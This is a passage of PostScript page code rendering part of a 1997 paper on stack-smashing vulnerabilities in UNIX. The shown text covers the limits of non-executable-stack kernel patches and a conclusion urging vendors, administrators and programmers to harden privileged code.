7213 2530 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2254 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1577 2254 M (little ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1930 2254 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2118 2254 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2333 2254 M (relevance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3020 2254 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 2254 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3618 2254 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3806 2254 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 2254 M (exploit. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4652 2254 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 2254 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5092 2254 M (aside, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5525 2254 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5814 2254 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6149 2254 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 2254 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6746 2254 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 2254 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 2254 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1978 M (implemented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2122 1978 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2295 1978 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2802 1978 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3170 1978 M (hardware. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3918 1978 M (New ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 1978 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 1978 M (architectures ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5678 1978 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6091 1978 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6588 1978 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 1978 M (multiple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1702 M (stacks: one for call frames, and one for automatic storage.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 29 29 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (16) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1338 1230 M ( POSIX.1e \(formerly POSIX.6\); http://csrc.ncsl.nist.gov/nistpubs/800-7/node20\ 3.html) 3873 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 9848 M (conclusion, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2687 9848 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2896 9848 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3577 9848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3962 9848 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 9848 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5019 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5265 9848 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5771 9848 M (kernel, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6272 9848 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 9848 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6829 9848 M (attempt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9848 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (stop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1916 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2371 9572 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3113 9572 M (problem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3781 9572 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4330 9572 M (source. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4962 9572 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5727 9572 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6080 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6803 9572 M (suffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2304 9296 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2885 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3142 9296 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4212 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4377 9296 M (non-portable, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5323 9296 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5941 9296 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6587 9296 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1881 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2392 9020 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2837 9020 M (handling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3466 9020 M (behavior ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4096 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 9020 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4904 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 9020 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5527 9020 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5732 9020 M (unpredictable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6769 9020 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6956 9020 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (to these points, this approach is not proven to stop more sophisticated stack sm\ ashing exploits.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS n 1200 8392 M (12. Conclusion) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8095 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2128 8095 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2807 8095 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3384 8095 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3960 8095 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4324 8095 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8095 M (commonplace ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5876 8095 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6092 8095 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 8095 M (machines ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7237 8095 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 8095 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7819 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1730 7819 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1960 7819 M (gain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 7819 M (access ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 7819 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3104 7819 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3879 7819 M (resources. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4694 7819 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4989 7819 M (combining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5801 7819 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6466 7819 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7819 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7543 M (conditions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 7543 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2148 7543 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2403 7543 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2871 7543 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 7543 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3326 7543 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4285 7543 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4979 7543 M (based ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 7543 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7543 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5920 7543 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6374 7543 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6666 7543 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6949 7543 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 7543 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7267 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1409 7267 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2292 7267 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2613 7267 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2887 7267 M (obtain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 7267 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4062 7267 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4383 7267 M (permissions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5306 7267 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6225 7267 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6563 7267 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6809 7267 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7267 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6991 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1927 6991 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2609 6991 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2910 6991 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3276 6991 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3457 6991 M (t) ST -4 0 MR (o) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (y) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3973 6991 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 6991 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5057 6991 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5940 6991 M (combined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6648 6991 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 6991 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7250 6991 M (fact ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6715 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1529 6715 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1765 6715 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2445 6715 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2985 6715 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3433 6715 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3669 6715 M (constructed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 6715 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4789 6715 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 6715 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5427 6715 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5645 6715 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6233 6715 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6451 6715 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 6715 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6439 M (systems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6163 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 6163 M (spite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2251 6163 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 6163 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2822 6163 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 6163 M (prevalence, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4304 6163 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4423 6163 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4977 6163 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5161 6163 M (things ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5612 6163 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5888 6163 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6090 6163 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6458 6163 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6632 6163 M (prevent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6163 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5887 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1645 5887 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2376 5887 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3513 5887 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3800 5887 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 5887 M (level ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4530 5887 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 5887 M (awareness ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5558 5887 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5799 5887 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6243 5887 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 5887 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5611 M (increases, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1910 5611 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2377 5611 M (vendors, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 5611 M (programmers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3980 5611 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 5611 M (administrators ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5498 5611 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5789 5611 M (users ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6183 5611 M (alike, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6599 5611 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 5611 M (educating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5335 M (each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 5335 M (other. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2029 5335 M (System ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2567 5335 M (administrators ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3567 5335 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3845 5335 M (implement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 5335 M (various ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5141 5335 M (configuration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6084 5335 M (methods ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6695 5335 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5335 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5335 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5059 M (possibilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2069 5059 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2280 5059 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2694 5059 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3395 5059 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4316 5059 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4998 5059 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5486 5059 M (vendors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6085 5059 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6388 5059 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6626 5059 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7003 5059 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5059 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4783 M (making ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1744 4783 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1860 4783 M (commitment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2744 4783 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2915 4783 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3114 4783 M (very ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3452 4783 M (cautious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4048 4783 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4385 4783 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5101 4783 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5670 4783 M (installed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6275 4783 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6483 4783 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6987 4783 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 4783 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4507 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1789 4507 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2272 4507 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3189 4507 M (Lastly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3672 4507 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3951 4507 M (perhaps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4536 4507 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4806 4507 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 4507 M (effective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5847 4507 M (solution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6449 4507 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6747 4507 M (come ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7175 4507 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4231 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2155 4231 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2506 4231 M (write ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2913 4231 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3652 4231 M (code. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4115 4231 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4365 4231 M (standards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5059 4231 M (evolve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5567 4231 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5872 4231 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6141 4231 M (accepted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6788 4231 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7048 4231 M (coding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3955 M (safer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 3955 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2340 3955 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 3955 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3342 3955 M (creating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 3955 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4353 3955 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4845 3955 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5539 3955 M (systems) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6067 3996 M (16) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6205 3955 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 3955 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7269 3955 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3679 M (develop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1781 3679 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2177 3679 M (robust ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 3679 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3013 3679 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 3679 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 3679 M (less ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 3679 M (susceptible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4731 3679 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4913 3679 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5308 3679 M (smashing. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6074 3679 M (With ) ST GR 0.0000 0.0000 0.0000 1.0000 